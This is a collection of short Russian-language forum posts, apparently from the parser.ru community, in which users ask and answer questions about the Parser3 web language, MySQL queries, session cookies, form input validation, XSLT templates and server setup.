:)"
"52760","и всё-таки, все мы очень плохо знаем mysql!!! :)\
\
INSERT [LOW_PRIORITY | DELAYED] [b][IGNORE][/b]\
        [INTO] tbl_name [(col_name,...)]\
        VALUES (expression,...),(...),...\
\
полную инфу смотреть тут http://www.mysql.ru/docs/man/INSERT.html"
"52762","в нцатый раз обсуждать эту ерунду не будем."
"52763","В базе пока может хранится html"
"52764","В связи с спецификой моего проекта, тело страницы у меня всегда лежит в методе ^authentication[тело]:\
[code]\
##################################################################\
# Идентификация, проверка кукисов при заходе на страницу\
@authentication[info]\
##################################################################\
$cuser[$cookie:user]\
$csid[$cookie:sid]\
^if(def $сsid && def $cuser){\
	^db_users{\
		$truesid[^string:sql{\
			SELECT sid FROM users WHERE login = '$cuser'\
		}]\
	}\
	^if($csid eq $truesid){\
		$info\
	}{\
		^authorization[]	\
	}\
}{\
	^authorization[]\
}\
##################################################################\
[/code]\
Поэтому проблем, о которых Вы говорили в своем посте, у меня не будет.\
Знаю, что у Вас есть собственный класс авторизации, но мне он, мягко говоря, показался \"немного сложным\" =) Так что я решил сделать свой, который на порядок меньше и не так многофункционален, как Ваш. На данный момент он меня полностью устраивает, но остается одна очень важная задача, которую я не могу решить - как изменить sid пользователя в БД, который не воспользовался кнопкой \"Выход\", а просто, наглым образом, закрыл окно браузера? Куки то у меня сотрутся, а вот sid останется не измененным. Буду очень Вам благодарен, если подскажите путь решения."
"52765","То заметите, что это решается периодической очисткой БД от устаревших sid."
"52766","Метод timeout не подходит, т.к. приложение может быть открыто в окне браузера сутками и даже если признаков жизни нет 24 часа, нельзя обрывать сессию. Но, как только приложение будет закрыто, нужно немедленно сообщить о выходе пользователя из системы."
"52767","Если сохранять файл парсером, то да, считать его потом можно.\
Как быть с имеющимися файлами?\
\
В каталоге лежит файл text'.txt.\
Табличка в БД:\
[code]\
CREATE TABLE `files` (\
`id` INT UNSIGNED NOT NULL AUTO_INCREMENT ,\
`name` VARCHAR( 255 ) NOT NULL ,\
PRIMARY KEY ( `id` ) \
) TYPE = MYISAM;\
[/code]\
\
Код:\
[code]$sSourceName[text'.txt]\
^connect[mysql://root@localhost/test]{\
	^void:sql{\
		INSERT INTO\
			files\
		(\
			id,\
			name\
		)\
		VALUES\
		(\
			'',\
			'^taint[sql][$sSourceName]'\
		)\
	}\
	$sLoadedName[^string:sql{\
		SELECT\
			name\
		FROM\
			files\
	}]\
	^void:sql{\
		DELETE FROM\
		files\
	}\
}\
$fFile[^file::load[text;$sLoadedName]]\
$fFile.text[/code]\
\
Результат:\
[code]read failed: No such file or directory (2), actual filename 'x:/home/test/www/text_27.txt'\
x:/home/test/www/text'.txt\
[/code]"
"52768","[quote]Но, как только приложение будет закрыто, нужно немедленно сообщить о выходе пользователя из системы.[/quote]\
Увы, не в этой жизни... :)"
"52769","если [b]вы[/b] его плохо знаете и ленитесь читать докуметацию, то не надо говорить то-же самое про других."
"52770","Попытался я сейчас разобраться с Мишиным auth.p, но меня не хватило. Обдумывая варианты решения проблемы я вспомнли про яваскрипт и интересную технологию JsHttpRequest. Есть предположение, что с помощью события OnUnload(или как-то так) можно будет делать sql-запрос. Осталось разобраться в JsHttpRequest =)"
"52772","Кто сейчас это делает?\
Разве что эксплореровская заглушка, но это хроническое."
"52774","я вижу следующее:\
\
достоинство:\
- содержимое основной страницы может быть скешировано (уменьшаем трафик + нагрузку на сервер)\
\
недостатки:\
- содержимое основной страницы может быть скешировано (содержимое остается в кеше прокси/броузера, может быть просмотрено кем-то ещё)\
- 2 http запроса вместо одного\
- в случае сложных страниц имеем сложный js, который должен получить пачку данных для текущего пользователя и правильно построить страницу (вспоминаем что скрипт должен работать для всех броузеров)\
- в случае, если страница должна быть одинаковая для всех зарегистрированных пользователей мы не можем её нормально проиндексировать локальным пауком."
"52775","файл /_t_location.html:\
\
$response:location[/404.html]\
\
файл /404.html:\
<html>\
<body>\
<h1>404. File not found.</h1>\
<p><b>^$request:uri:</b>$request:uri</p>\
</body>\
</html>\
\
при обращении к http://сервер/_t_location.html вижу 404.html (путь в броузере не изменен) в которой написан адрес /_t_location.html\
\
не вижу почему бы ему не записываться в log в таком-же виде.\
\
P.S. а без внутреннего редиректа есть HTTP_REFERER\
P.P.S. а еще если делаю внутренний редирект например так: $response:location[/4-0-4.html] имея в .htaccess директиву:\
ErrorDocument 404 /404.html\
то так же все работает как надо."
"52777","Моя ошибка в том, что я не описал свою задачу изначально. Моя система построена таким образом, что при прохождении авторизации пользователем, генерируется sid, который пишется в базу и одновременно выдается пользователю кукой. Во время сеанса эти данные используются для идентификации пользователя. При правильном выходе из системы, у пользователя стираются куки и поле sid изменяется на 'offline'. Это сделано для повышения безопасности сеанса - при попытке авторизации делается проверка столбца sid для введеного логина, и если sid != 'offline', то авторизация блокируется.\
Проблема в том, что при неправильном выходе из системы(закрытии окна с приложением), стираются только куки, а sid остается неизменным. Т.е. пользователь, который неправильно вышел из системы, при следующей попытке авторизации получит сообщение \"Пользователь находится в системе\". Для решения этой проблемы сейчас, используется отдельный сервис - выводится страница с вариантами \"сменить пароль\" или \"ввести кодовое слово\", которое было указано при регистрации. Конечно, не самый гуманный подход, но на мой взгляд - самый безопасный, если не брать в расчет HTTP-Аутентификацию.\
Буду благодарен за конструктивную критику."
"52778","хороший вариант для имени файла: id.txt\
\
точка."
"52779","Но как быть если необходимо работать с имеющимися файлами?\
Залил их клиент по ftp, назвал как понравилось или как они назывались у него, а работать с ними нужно Парсером...\
\
Был бы хоть какой простой способ к подобным файлам обращаться...\
Пусть с taint'ом апострофов и кавычек или ещё каким хитрым способом..."
"52780","Мне очень , интересно....\
в антистатике где тело страниц храниться....\
я так понял что надо создавать блоки.\
и в них хранить тело страници , так , вот допустим , имеем блок в нем картинка (для каждого заржеда своя...) так допустим картинок этих 23.\
тоесть надо создавать 23 блока или как?"
"52781","Раз окно браузера может быть открыто и 24 часа, отправляйте каждые N минут jshttp-запрос, котрый будет обновлять dt_access в БД. И периодически чистите базу."
"52782","о нужной картинке может знать\
\
1) обработчик страницы\
2) один статический блок «хранилище картинок»\
3) один динамический блок «хранилище картинок» на основании полученных параметров\
4) один из 23 статических блоков\
5) шаблон xslt"
"52784","К версии 1.0.3.4 предлагаю строку 77 заменить на:\
[code]\
^throw[image_file.missing;resize;source image is missing (path $source_path/$params.image_name)]\
[/code]\
А то не всегда понятно где и какой файл он не нашёл...\
\
\
В коде:\
[code]\
$image_name[54321.$extension]\
...\
^if(!^images:save[...]){\
	^if(^extension.lower[] ne ^format.lower[]){\
		$image_name[${image_name}.$format]\
	}\
...\
}\
[/code]\
Непойму почему $image_name меняется на [b]$image_name[${image_name}.$format][/b]?\
Мне кажется разумнее было бы на [b]$image_name[54321.$format][/b], т.к. часто отхватывают что-то типа [color=\"red\"]54321.jpeg.jpg[/color]..."
"52785","Видимо просто плохо читал. А про других я плохо не отзываюсь, просто, видимо люди тоже этот момент упустили, я просто показал, чтоб они его почитали, если надо. То что сам виноват в своём не знании, я признаю... Собственно поэтому и задаю вопросы..."
"52786","$config[^config.select(^config.line!=1)]\
Просто пытаюсь удалить одну строку из таблицы... Почему выдаёт ошибку\
syntax error, unexpected ')', expecting '[' or '{' or '('\
не ясно... вроде бы простейшая запись, а почему не получается не ясно...\
хотя здесь http://www.parser.ru/forum/?id=3816 написана та же самая формула... я так понял у автора всё работает..."
"52791","Я охочусь за щастем =)\
Доступными средствами."
"52792","Всем привет!\
У меня такая проблема, я не работаю но увлекаюсь веб-программированием и дизайном.\
Очень нравится парсер но на покупку хостинга нет денег ;(\
Может посоветуете бесплатный хостинг с поддержкой парсер,\
либо может кому не жалко выделите на своём хостинге домен третьего уровня 20-30mb и одну базу MySql\
Буду очень признателен!"
"52799","Бесплатный сыр бывает только... (где?)."
"52801","Вопрос что такое обработчик страницы (я знаю что это не xslt шаблон)\
Ему передаеться XML или что?"
"52803","Это скрипт обрабатывающий тип данных \"страница\"."
"52804","а ПО ПОДРОБНЕЕ мне интересно , текс страницы куда вбивать , в отдельны блок... и чем обработчик страниц отличаетсья от обработчика блоков"
"52806","Страница это блок\
У каждого типа данных свой блок и свой обработчик по умалчанию\
У страницы свой обработчик задающий глобальные опции обработки вложенных блоков.\
\
Если что неправильно, поправьте"
"52807","Вы, похоже, не читали [url=\"http://misha.design.ru/hobby/progr/engine4.html\"]Описание Engine v.4[/url] от Misha v.3, прототипом которого и является antistatic. Там есть ответы на Ваши вопросы."
"52808","вы собрались опубликовать сообщение в этом форуме?\
соберитесь с мыслями, поищите по форуму, загляните в FAQ, примеры, документацию.\
\
попробуйте сначала что-нибудь сами.\
\
ничего не получается?\
посмотрите на часы, что там написано?\
посмотрите в окно, наконец — а там что?\
правильно! весна.\
\
пойдите туда.\
компьютер нужно при этом выключить.\
\
вернётесь с новыми силами, и… всё получится."
"52809","только не кладите этот файл в cgi-bin!"
"52810","Сам попросил \"хитрый способ\" - сам его и получил =)..."
"52812","Вот вам и рецепт создания нового. Иди туда, где весна. Возьми то, что тебе по душе. Сделай так, как хочешь."
"52813","[b]Задача:[/b] написать метод, который рисовал бы таблицу с произвольным числом колонок\
\
[b]Идея:[/b] при вызове метода первым параметром передавать число колонок (count), и в зависимости от  этого параметра добавлять нужно количество параметров для передачи контента (column1, column2 ... columnN)\
\
[b]Код:[/b]\
[code]\
# метод\
@columns[count]{^for[n](1;$count){column$n}[;]}\
<table class=\"columns\" border=\"1\">\
	<tr>\
		^for[n](1;$count){\
			<td width=\"^eval(100/$count)[%.u]%\">^if(def $column$n){$column$n}</td>\
		}\
	</tr>\
</table>\
\
# вызов метода\
^columns[2;content1;content2]\
[/code]\
\
Правильно ли я мыслю, если да, то почему не работает мой код?"
"52815","А что за сайт?\
Напиши на мыло может что-то придумаем...."
"52816","200 Mb, 1 база MySQL, CGI-BIN  и еще кое-что"
"52817","[code]RewriteRule ^([a-z]+)$ /?de=$1\
RewriteRule ^([a-z]+)/$ /?de=$1[/code]\
\
Можно ли записать как-то одним выражением. А главное, чем грозит написание в два выражения?\
\
Спасибо."
"52818","Короткий (и бессмысленный :-) домен в зоне ком. Тридцатник мег дам. Базу тоже. Условие: вести себя прилично и уголовных/моральных законов не нарушать. Придумайте имя третьего уровня и напишите на sanych@sanych.com. Это всё в Америке живет."
"52819","[code]\
^something[\
   $.param1[1234]\
   $.param2[$table]\
   $.param3[ASDF]\
   $.param4[another hash]\
]\
[/code]\
\
and...\
\
[code]\
@something[options]\
$options.param1...\
$options.param2...\
$options.param3...\
$options.param4...\
[/code]"
"52821","...а еще будет/(у нас вчера был) - первый [i]весенний[/i] дождь..."
"52822","Где-то на форуме мне попадалось что в случае \
[code]\
^connect[mysql://*****@localhost/dbname]{\
^connect[mysql://*****@localhost/dbname]{\
\
\
\
}\
\
\
\
}\
[/code]\
Подключение к серверу всеравно произойдет один раз.\
Просто я сейчас отлаживаю сайт на котором много подобных вещей и очень часты в логе ошибки \"Too many connections [sql.connect]\"\
\
Стоит ли заморачиваться на уменьшение коннектов в коде?\
Или сразу перейти к кешированию?"
"52823","[quote]Положение 3: К каждому объекту мы можем привязать обработчик (хоть для каждого объекта свой) который представляет собой код (парсерный) и который знает что нужно сделать с объектом чтобы сформировался его xml. По умолчанию, если не привязан никакой обработчик, результирующий xml формируется из xml всех блоков привязанных к объекту (без установленного флажка: «только при ручном вызове») + всех полей объекта + всег блоков глобальных объектов.[/quote]\
\
[quote]Положение 5: К каждому объекту мы можем привязать любое количество динамических блоков, мы может определить функциональность этих блоков с помощью написанных для них обработчиков (парсерный код). Обработчик блока знает что нужно сделать с данными содержащимися в блоке перед складированием их в общую пачку xml-данных объекта[/quote]"
"52825","Только я понял что что-то подобное реализовывать я не смогу. Поэтому решил для начала сделать что-то простое."
"52826","было написано правильно, этот скрипт установит только одно соединение. возможно на используемом тарифном плане ограниивается количество одновременных подключений к БД, поэтому при достаточно большой посещаемости происходит одновременное выполнение бОльшего чем разрешено количество соединений.\
\
варианты:\
1. кешировать страницу целиком, чтобы при выполнении некоторых скпиртов соединение не было вообще (считаю это лучшим вариантом, если он возможен)\
2. оптимизировать sql запросы, чтобы они выполнялись быстрее. в этом случае вероятность того, что большое количество запросов будет выполнятся одновременно уменьшится (тоже хороший вариант, но более трудоемкий)"
"52827","Подскажите пожалуйста, как в полученном параметре их POST запроса, проверить наличие символов [< >] и в случае их обнаружения выводить что-нибудь на экран. \
\
Я Пытался сделать это при помощи match, но видимо что-то делал не так."
"52828","или велосипедная прогулка по меньшей мере"
"52830","POST - это не параметр, а метод передачи данных.\
Пример кода:\
[code]\
^if(!def $form:test){\
	<form method=\"POST\">\
	<input type=\"text\" name=\"test\">\
	<input type=\"submit\">\
	</form>\
}{\
	$test[$form:test]\
	^if(^test.match[<|>|\\^[|\\^]]){\
		вы ввели недопустимый символ\
	}{\
		все хорошо\
	}\
}\
[/code]"
"52831","Вот этого мне и не хватало. Спасибо."
"52832","Какие нафиг недопустимые символы? Выкидывайте их из головы. Пусть пишут что хотят. В парсере есть хорошая штука tainting. Проблем не будет ;-)"
"52833","А кто же будет учить пользователей хорошим манерам? =) Даже когда написан список недопустимых символов, все равно норовят их вписать самым изощренным методом =) Когда-нибудь я напишу скрипт, который будет блокировать ввод при нажатии на запрещенный символ и выводить подсказку - попробуйте назвать файл \"/.test\" в Windows."
"52834","Чем вам от того что они эти символы напишут будет хуже?\
\
И почему я, как пользователь, должен думать чем заменить знак \"больше\" (>)?"
"52835","...хуже будет приложениям, которые с этими символами не работают."
"52836","Чем приложению будет плохо, если вместо [b]<b>текст</b>[/b], будет [b]&lt;b&gt;текст&lt;/b&gt;[/b], а не просто [b]текст[/b]?"
"52837","Представьте себе ситуацию:\
Событие: регистрация.\
Условия: допустимые символы – латиница и цифры. (Никогда не было ситуации, когда Вы перебирали все варианты совместного использования кириллицы и латиницы для поиска необходимого ника?)\
Что вводит пользователь: <b>***XмэнX***</b>\
Это Вы считаете нормальным? Пользователь &lt;b&gt;***XмэнX***&lt;/b&gt; успешно зарегистрирован =)"
"52838","Искать в нике ^$5k@@9!~724fjfwegsw)% только < > незачем, правда?! :-)\
\
Вообще, мой посыл касался конкретно постинга сообщений.\
\
По регистрации согласен с вами. Три года ники в одном моем проекте были какими угодно, а ссылка на пользователей делалась по user_id ([url=\"http://www.parser.ru/forum/users/?uid=425\"]как здесь[/url]), а теперь из-за этого не очень хочется внедрять что-то вроде /users/NickName/ (будут проценты в урлах для нецифролатинницы)."
"52841","В общем смысл такой - у меня есть скрипт на парсере написанный программистом, который работал над сайтом до меня. Скрипт добавляет новости на страницу, но не предусмотрена возможность автоматического прикрепления фото, то есть как обычно - строка ввода адрса фотки, кнопка \"обзор\" и что-то вроде кнопки \"прикрепить фото\". Мне если честно особо в парсере разбираться не охота, так что подскажите пожалуйста как это можно сделать!!! Заранее спасибо!!! Юсан!"
"52843","[quote]Проблема в том, что при неправильном выходе из системы(закрытии окна с приложением)[/quote]\
\
это броузер. люди [b]привыкли[/b] просто закрывать страницу. в консольных приложениях при зкарытии ещё можно что-то сделать.\
\
да и сбои в работе ПО никто не отменял.\
\
P.S. дело конечно хозяйское..."
"52844","тема такая: IE и Opera не могут исполнить такой код:[code]<html>\
<body>\
<form method=\"post\">\
<input type=\"image\" src=\"/images/cart.gif\" alt=\"Положить в корзину\" name=\"geez\" id=\"submit\" value=\"ripper\"></form>\
\
^if(def $form:geez){raper}{no way}\
</body>\
</html>[/code]\
результат всегда будет \"no way\" даже после того как кликнуться на кнопке. Это ПРИНЦИПИАЛЬНО чтобы кнопка была как картинка, но похоже, IE, OPERA не воспринимают ее в данном контексте как кнопку отправки формы - страница перезагружается, но парсерный код не исполняется. как выйти из такого положения? (Не будешь же просить клиентов для начала установить Mozilla Firefox, а потом заходить на сайт! под мозилой все работает[впрочем, как всегда!)))])"
"52845","Я использую вложенную структуру форм, т.е. примерно так:\
[code]\
<form method=\"POST\">\
...\
<form method=\"POST\">\
...\
</form>\
...\
</form>\
[code]\
\
Так вот. Та форма, что находиться внутри основной данные отправляет, а основная данные по нажатию submit не отправляет. Видимо, считается что основная форма заканчивается после первого вложенного в нее </form>.\
\
Пожалуйста, объясните, что я делаю не так. Можно ли использовать данную страктуру форм? Если да, то как это делать корректно?\
\
Заранее боагодарю за помощь."
"52847","Именно поэтому ищу(и найду) гуманный способ решения этой задачи."
"52848","идея: передать русскоязычные параметры и внутри реализовать автопереводчик.\
\
самоцель что-ли?"
"52850","как вы попробовали?"
"52851","[code]\
#два соединения\
^connect[$connect-string]{\
  ^connect[$connect-string]{\
  }\
}\
\
#одно соединение\
^connect[$connect-string]{\
}\
^connect[$connect-string]{\
}\
[/code]"
"52852","что если хочется выдумать язык описания таблиц,\
то лучше HTML придумать, конечно, можно. только зачем?\
\
вы помните про colspan/rowspan и сложные заголовки."
"52853","1. почитайте документации \
2. укажите method=\"get\" и посмотрите что приходит"
"52854","вариант: не запрещать что-то,\
а разрешать что-то.\
\
так обычно проще."
"52856","па солву \"photo\", триетий резалдат па счиоту."
"52857","точка.\
\
уверен, несложно перефразируете, чтобы формы вложенными не были."
"52858","думаю, так можно:\
[code]<img src=\"a'b&quot;c.gif\">[/code]\
\
однако пользователь может захотеть так:\
[code]<img src='$name'>[/code]\
\
а конструкцию с &apos; браузеры воспринимают не прям сразу.\
\
общий вывод: красиво в Parser этого не сделать.\
буду рад ошибиться."
"52859","а можно поподробнее и с привязкой к моему примеру?"
"52860","а вы помните про cellpadding/cellspacing и простые дроби?"
"52861","да так и оставил... раз не грозит"
"52862","[code]\
^columns[\
   $.cols(5)\
   $.content1[]\
   $.content2[]\
   $.content3[]\
   $.content4[]\
   $.content5[]\
]\
\
...\
\
@columns[options][options;a]\
<table>\
   <tr>\
      ^for[a](1;$options.cols){\
         <td>$options.content$a</td>\
      }\
   </tr>\
</table>\
[/code]"
"52863","...\
$a[^file::load[text;rss.xml]]\
$response:content-type[text/xml]\
$response:charset[Windows-1251]\
$response:body[$a.text]\
...\
Получается всегда кодировка UTF-8. Не получается переключить на win1251"
"52865","Простите за не корректность.\
Просто я имел в виду что внутри тэга <form> есть еще <form> и данные последней формы отправляются, а первой - нет (по нажатию submit ничего не происходит)."
"52870","нужно отдельно, чтоб изменять с помощью match"
"52871","parser 3.2.1 и 3.1.6\
при компиляции исходников под сабж выдаёт ошибку что ненайден lstdc++ потом ругается на фолдеры cgi,targets,src в которой находятся исходники и вываливается.\
В AltMaster'e уже был какой-то парсер и модуль для работы с mysql, но он неработал, даже тестовую страницу непроходил, так же было и при копирование бинарников для редхата выдаёт change_case_UTF8 error: end pointers do not match, хотя простенькие скрипты на парсере он выполняет.\
Кто-нибудь вообще спавил парсер на сабж?\
Я когда-то ставил 3.1.4. с поддержкой mysql на фрю, повозился денька два пока понял как там всё к sql цепляется но всё поставил, а тут никак :("
"52874","1. Как можно определить зону пользователя. Допустим если сайт просматривается из Италии, то перенаправляем на нужную страницу ...\
\
2. Можно откуда либо автоматически загружать курс доллара и евро. Нужно присвоить значения курсов какой либо переменной, что бы использовать для расчета цен в интернет-магазине"
"52875","2. http://www.cbr.ru/scripts/Root.asp?Prtid=SXML"
"52876","1. По ip-адресу(ищите в гугле базу ip по странам), хотя лично мне вариант не нравится, гораздо лучше сохранять настройки зарегистрированного пользователя. Не помню, кажется есть еще вариант по языку браузера.\
2. Наберите в гугле, будете постоянно загружать xml, разбирать его и класть в переменную."
"52877","дает ошибку [16 May 15:14]<SERVER>Error 403. Auth required."
"52881","1. http://www.techinfo.net.ru/ip2ruscity/ (также смотрите ссылки внизу),  http://ip-to-country.webhosting.info/node/view/6\
\
Ещё вам понадобится это - http://www.parser.ru/examples/int-ip/ (во всех базах подобного рода IP записывается в виде double-числа, чтобы  можно бюло  делать запросы типа[code]SELECT COUNTRY_NAME FROM <TableName> \
WHERE IP_FROM <= IP Number and IP_TO >= IP Number[/code]"
"52882","Скаченный http://www.parser.ru/f/1/download/freebsd/parser3_2_1_freebsd410R_cgi.tar.gz на этом хостинге не работает.\
\
Скачать исходники и скомпилировать их самостоятельно - не предлагать."
"52883","у нас нет всех возможных ОС.\
\
для раздела \"Прислали пользователи\" мне прислали вчера ссылки на парсер для FreeBSD 6, однако я пока ещё не знаю что там за версия парсера собрана, жду ответа чтобы опубликовать, однако опять-же вам-то нужно для 5 версии..."
"52884","С XSLT начал разбираться недавно, поэтому пока глубоко не копал.\
Есть простой шаблон:\
[code]<xsl:template match=\"/page/body/navigation/page\">\
		<xsl:variable name=\"selectUri\">\
			<xsl:value-of select=\"uri\"/>\
		</xsl:variable>\
		<xsl:if test=\"@state='disabled'\">\
			<li class=\"active\">\
				<div class=\"active\">\
					<xsl:value-of select=\"header\"/>\
				</div>\
			</li>\
		</xsl:if>\
		<xsl:if test=\"@state='enabled'\">\
			<li>\
				<a href=\"{$selectUri}\">\
					<xsl:value-of select=\"header\"/>\
				</a>\
			</li>\
		</xsl:if>\
		</xsl:template>[/code]\\\
Есть код который задает для него атрибут disabled:\
[code]  $menuItems[^sourceDoc.select[/page/body/navigation/page]]\
        ^for[i](0;$menuItems-1){\
            $node[$menuItems.$i]\
            ^if(^node.getAttribute[selectUri] eq $request:uri || !def ^node.getAttribute[selectUri]){\
                ^node.setAttribute[state;disabled]\
            }{\
                ^node.setAttribute[state;enabled]\
            }\
        }\
  [/code]\
\
Можно ли как-то ловить getAttribute xsl-variable если не тко как можно наиболее эффективно выполнить проверку. Сильно не пинайте, просто голова болит."
"52887","пытаюсь разобраться с парсером, но запнулся на первом же уроке... на странице отображается ее код вместо ссылок... подскажите, может я что-то не так делаю... хотя вроде все по шагам"
"52888","http://swissknife.bougakov.com/ - всё настроено и \"Первый урок\" работает."
"52890","... выдать в xml request:uri и выставить какой угодно атрибут в результате элементарного сравнения uri элемента и имеющегося в данных request:uri?\
\
Зачем вообще тут нужен код на Парсере?.."
"52892","ну никак не могу подружиться с ними =(\
\
Файл класса http://www.m-volshebnikov.ru/classes/test.p\
содержит код:\
@CLASS\
test \
\
@a1[]\
ТЕСТ\
\
Страница http://www.m-volshebnikov.ru/test.html\
содержит код:\
@USE\
/classes/test.p\
\
@greeting[]\
test\
\
@left[]\
test\
\
@infa[]\
$gb[^test::load[]] \
^gb.a1[] \
\
Результат: http://www.m-volshebnikov.ru/test.html\
\
Помогите пожалуйста устранить ошибку и наконец научиться работать с классами!"
"52893","1. вашей ошибки мы не видим, а видим невнятную UE release. почитайте FAQ и включите отображение сообщения об ошибке, или приводите оную из вашего parser.log\
2. покажите пальцем, где у вас в test.p определен конструктор @load[], который вы пытаетесь вызвать в test.html?\
3. зайдите в примеры, скачайте любой пример с классами и посмотрите. (например scroller)"
"52894","Тогда попробую на другом сервере.\
\
Класс лежит тут: http://foof.nwtravelco.ru/classes/test.p\
и содержит код:\
@CLASS\
test\
\
@a1[]\
ТЕСТ\
\
Страничка лежит тут: http://foof.nwtravelco.ru/test.html \
и содержит код:\
@USE\
/classes/test.p\
\
@greeting[]\
^test::a1[]\
\
@left[]\
^test::a1[]\
\
@infa[]\
^test::a1[]\
\
Результат: http://foof.nwtravelco.ru/test.html\
\
Проблема на сколько я понимаю в том, что парсер не может найти файл с классом?!\
Но если зайти по ссылке http://foof.nwtravelco.ru/classes/test.p , то можно убедиться что такой файл существует!\
\
В чём ошибка?"
"52895","вот такая ошибка:\
В работе Parser произошла ошибка:\
read failed: no such file or directory (2), actual filename '/sections.cfg'\
Ошибку вызвал этот фрагмент:\
/sections.cfg \
Ошибка произошла при работе с файлом:\
/examples/lesson1/auto.p, строка номер 2\
Что обычно приводит к ошибке «file.missing»?\
вы пытаетесь получить доступ к файлу, которого нет или он на деле называется не так, как вы думаете (может быть, вы перепутали регистр букв? или заменили английскую букву в имени русской?)\
\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
load в файле /examples/lesson1/auto.p, строка 2 \
navigation в файле /examples/lesson1/index.html, строка 1\
\
код auto.p:\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"center\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
} \
\
код страницы:\
^navigation[]"
"52897","[quote]test may not be overwritten with test, store it to variable instead[/quote]\
\
посмотрите в FAQ, там есть упоминания про аналогичные ошибки.\
\
P.S. конструкцией ^test::a1[] вы создаете объект, вызывая его конструктор a1 и кладете этот объект куда?"
"52898","есть предположение:\
$request:document-root[/home/ba1707/foof/]\
\
соответственно появилась другая ошибка:\
usage failed - no $MAIN:CLASS_PATH were specified"
"52900","ну наконец-то разобрался, всё спасибо =)"
"52901","уверяю вас, \"change_case_UTF8\" побороть существенно проще, чем lstdc++ отягощённое \"ругается на фолдеры и вываливается\".\
\
если силы остались, восстановите ситуацию change_case_UTF8 и продолжим с этой точки."
"52902","http://seolab.ru/add/rfc2068/154.html\
http://seolab.ru/add/rfc2068/152.html\
http://seolab.ru/add/rfc2068/151.html\
\
http://apache.lexa.ru/internals.html Ctrl+F \"Accept-Charset\"\
\
[code]\
$request:HTTP_ACCEPT_LANGUAGE\
$request:HTTP_ACCEPT_CHARSET\
$request:HTTP_ACCEPT\
[/code]"
"52903","если исключить пролом потолка, пола или стен,\
надо высверливать спички:\
\
как \"не работает\"? возможно, можно сделать, чтобы работало."
"52904","я старался по максимуму упроситить.\
\
если нет shell доступа, но есть веб-доступ, есть варианты."
"52905","весь код проверил, вроде все нормально... все файлы там где надо... совершенно непонятно из-за чего"
"52906","пока не закроем} соединение, оно не попадёт в кэш = его нельзя оттуда взять{.\
\
можно воспринимать, как отдельные транзакции.\
одну commit}, другая ещё открыта{.\
\
есть в природе ещё такая штуковина: \"вложенные транзакции\". но они поддерживаются разными SQL не особенно активно, поэтому эта конструкция пока работает по простому.\
если понадобится, можно будет приспособить её под вложенные транзакции."
"52907","а вы помните про css внутри и внешний?\
\
это я всё к тому, что если есть английский, можно на нём и изъясняться, ЕСЛИ это не противоречит остальным требованиям ;)"
"52908","Да вот только толку маловато...\
Firefox - как работал, так и работает, а IE - напрочь отказывается.\
они даже при method=\"GET\" разные строки выдают:\
Firefox : http://cdt/?geez.x=385&geez.y=13&geez=ripper\
IE : http://cdt/?geez.x=335&geez.y=21\
при коде\
[code]<html>\
<body>\
<form method=\"get\" enctype=\"multipart/form-data\">\
<input type=\"image\" src=\"/images/cart.gif\" alt=\"Положить в корзину\" name=\"geez\" id=\"submit\" value=\"ripper\"></form>\
\
^if(def $form:geez){raper}{no way}\
</body>\
</html>[/code]\
\
Вопрос актуален, как этого избежать - надо заставить эксплорер посылать форму"
"52909","означает, что у вас Parser почему-то принялся искать файл и вправду в корне вашего файлового пространства.\
\
обычно же, ^load[/file] означает загрузку файла из корня веб-пространства (разницу улавливаете?).\
\
вывод: у вас Parser не получил сведений о том, где же находится корень веб-пространства.\
\
пожалуйста, выполните такой вот скрипт:\
[code]\
$request:document-root\
[/code]\
и сообщите\
1. результат его работы\
2. настоящее сообщение об ошибке, как вы его видите в вашем [b]браузере[/b], с настоящей цепочкой вызовов. чтобы было видно, что вы по ходу копирования ничего важного не упустили."
"52911","попробую... но самое странное что если код auto.p изменить на такой:\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"center\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table> \
\
то все начинает нормально работать"
"52914","вам не кажется ли, что если вы поместили весь свой пример в подкаталог, то и section.cfg неплохо бы туда же?\
\
note: в следующий раз, когда копируете проблему в сообщение, делайте это корректно.\
хотите скрыть имя проекта, заменяйте его на \"project\", оставляя остальные части пути в покое."
"52915","У меня такая проблема: Одна база данных в XML и две страницы на сайте, использующие ее — раздел новостей и семь заголовков на главной странице (по идее), в базе данных, допустим 100 заголовков, столько же и в разделе новостей, как можно ограничить отображение заголовков на главной?\
Я использую этот код:\
\
# входной xdoc документ \
$sourceDoc[^xdoc::load[article.xml]] \
\
# преобразование xdoc документа шаблоном article.xsl \
$transformedDoc[^sourceDoc.transform[article.xsl]] \
\
# выдача результата в HTML виде \
^transformedDoc.string[ \
    $.method[html] \
] \
\
Спасибо."
"52916","section.cfg и лежит в том же каталоге что и пример"
"52917","ну это когда бинарники подставляешь уже готовые выходит про UTF\
, говори что делать внимательно слушаю, и как в случае с бинарниками подключить mysql к парсеру а если ещё и XML, то было бы совсем замечательно"
"52919","А можно подробнее?\
Вот код:\
\
# входной xdoc документ \
$sourceDoc[^xdoc::load[article.xml]] \
\
# преобразование xdoc документа шаблоном article.xsl \
$transformedDoc[^sourceDoc.transform[article.xsl]] \
\
# выдача результата в HTML виде \
^transformedDoc.string[ \
    $.method[html] \
] \
\
Куда нужно вставить «position()»?\
С XML, XSL и Parser я знаком 14 часов...\
Спасибо."
"52920","И начинаете разбираться что там к чему в article. Когда разберетесь — прочтете про position и все сможете."
"52921","в порядке убывания адекватности с моей точки зрения :)\
\
http://gsbelarus.com/gs/modules.php?name=News&file=article&sid=314\
http://www.delphikingdom.com/asp/answer.asp?IDAnswer=29168\
http://www.delphikingdom.com/asp/viewitem.asp?catalogid=1263\
http://phpclub.ru/faq/wakka.php?wakka=Tree&v=w5u\
\
